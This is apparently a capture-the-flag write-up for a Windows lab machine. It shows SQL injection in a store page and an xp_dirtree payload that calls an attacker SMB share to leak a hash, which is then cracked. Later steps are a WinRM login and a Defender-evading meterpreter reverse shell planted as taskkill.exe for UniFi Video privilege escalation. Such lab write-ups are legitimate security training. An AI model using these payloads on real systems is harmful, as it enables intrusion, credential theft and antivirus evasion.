Gaining Access

Nmap scan:

Both RDP and WinRM are accessible on this machine, which is new.

SQLI -> Stacy Shell

Port 80 just shows a cute image:

I ran a gobuster scan on this, and found 2 directories:

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://10.129.96.140 -t 100

/mvc                  (Status: 301) [Size: 148] [-> http://10.129.96.140/mvc/]

Visiting it reveals a Windows Powershell Web Access page:

The MVC site reveals some online store:

When products are viewed, it loads this URL:

http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=18

If we replace the number with a ' character, a lot of SQL errors are returned:

This is vulnerable to SQL injection. Googling any of the errors here reveals that this is MSSQL, which we can actually get RCE from through xp_cmdshell.

2; EXEC master ..xp_dirtree '\\10.10.14.13\share'; --

We can start responder and intercept the response by sending the above command:

Then we can crack this hash easily using john:

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash             
Using default input encoding: UTF-8

Session completed.

By right, this machine came our before evil-winrm, so the intentional route is to use the Remote Powershell Web Access to download and execute a reverse shell. I did it the evil-winrm way.

Privilege Escalation

Unifivideo

Within the Documents directory, there's one folder present:

*Evil-WinRM* PS C:\Users\Stacy\documents> dir


    Directory: C:\Users\Stacy\documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        6/17/2018   9:36 AM              6 unifivideo

*Evil-WinRM* PS C:\Users\Stacy\documents> type unifivideo
stop

Also, we can enumerate and see that Windows Defender is enabled for this machine, meaning any payload we use has to be obfuscated and encoded.

*Evil-WinRM* PS C:\Users\Stacy\documents> cmd.exe /c "sc query windefend"

SERVICE_NAME: windefend
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

So we cannot run WinPEAS on this machine too. I decided to check if the Powershell history files were present still, because it could contain some good information, and it did exist:

*Evil-WinRM* PS C:\Users\Stacy> type AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
net stop unifivideoservice
$ExecutionContext.SessionState.LanguageMode
Stop-Service -Name Unifivideoservice -Force
Get-Service -Name Unifivideoservice
whoami
Get-Service -ServiceName UniFiVideoService

Now we can exploit this.

We need to create a reverse shell file that would bypass Windows Defender. I was a bit lazy, so I used msfconsole to generate this:

use evasion/windows/windows_defender_exe
set payload windows/meterpreter/reverse_tcp
set lhost tun0
set lport 4444
run
[+] OFVDGEyW.exe stored at /home/kali/.msf4/local/OFVDGEyW.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost tun0
set lport 4444
run

Afterwards, we just need to transfer this reverse shell over and name it as taskkill.exe within C:\programdata\unifi-video and then run the stop-service -name Unifivideoservice command.

Then, we would get a meterpreter shell on the listener:

Rooted!
